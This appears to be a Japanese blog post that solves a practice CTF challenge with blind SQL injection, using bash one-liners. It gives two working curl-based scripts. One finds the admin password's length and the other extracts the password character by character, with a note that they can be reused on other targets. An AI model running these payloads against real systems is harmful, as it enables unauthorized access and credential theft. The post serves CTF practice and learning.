ちょっと前に意図的に脆弱なシステムを作る機会があって、そこでブラインドSQLインジェクションを利用して値を取得させるように作った。 で、前に 常設のCTFで似たような内容をシェル芸で解いてた のでちゃちゃっと対応できるだろうと思ってたのだけど、結構前に書いてたコードだったのでテスト時にうまくできなかったので、次に手こずらないようそこだけ抜き出して書いてみる。(サンプルに必要なURLは前述のCTFのサイトを利用)

ブラインドSQLでは、まず最初に対象の文字数を調べる必要があるので、以下のようなコマンドを実行する。

seq 10 30 | # 調査する文字数の範囲を指定 \
  xargs -I{} bash -c "
    printf '%s ' {} # 調査対象の文字数を表示;
    # -dでidフィールドにSQLインジェクションを指定(文字数が正しければtrueとなるように記述)
    curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ \
      -d \"id=admin' AND  (SELECT LENGTH(pass) FROM user WHERE id = 'admin') = {} --\" \
      -d \"pass=aaaa\" | \
  wc -l" | # 出力結果のhtmlの行数を調査 \
  sort -k2 | # 2列目(htmlの行数でソート) \
  uniq -c -f1 | # htmlの行数でカウント \
  awk '$1=="1"{print $2}' # htmlの行数のカウント結果が1の行だけ出力

これで文字数が取得できたら、その文字数だけ一文字ずつ総当たりのチェックを行う。(上記CTFでは文字数が21なので、forで指定した文字数は1~21にしている。)

for i in {1..21};
do
  # 0-9,a-z,A-Zの文字を出力
  echo {{0..9},{a..z},{A..Z},_} | \
    fmt -1 | \
    xargs -I{} bash -c "
      printf '%s ' {} # 調査対象の文字を表示;
      # -dでidフィールドにSQLインジェクション(指定した位置の文字が「{}」で指定した値の場合はTRUE)
      curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ \
        -d \"id=admin' AND SUBSTR((SELECT pass FROM user WHERE id = 'admin'),"$i",1) = '{}' --\" \
        -d \"pass=aaaa\" | \
      wc -l" | # 出力結果のhtmlの行数を出力 \
      sort -k2 | # 2列目(htmlの行数でソート) \
      uniq -c -f1 | # htmlの行数でカウント \
      awk '$1=="1"{print $2}' ; # htmlの行数のカウント結果が1の行だけ出力
done | \
  tr -d '\n';echo # 改行を削除して結合

これでシェル芸でブラインドSQLインジェクションの処理ができる。 再利用する場合は、環境に応じてcurlで指定しているURLやPOSTする内容を書き換えればいいはずだ。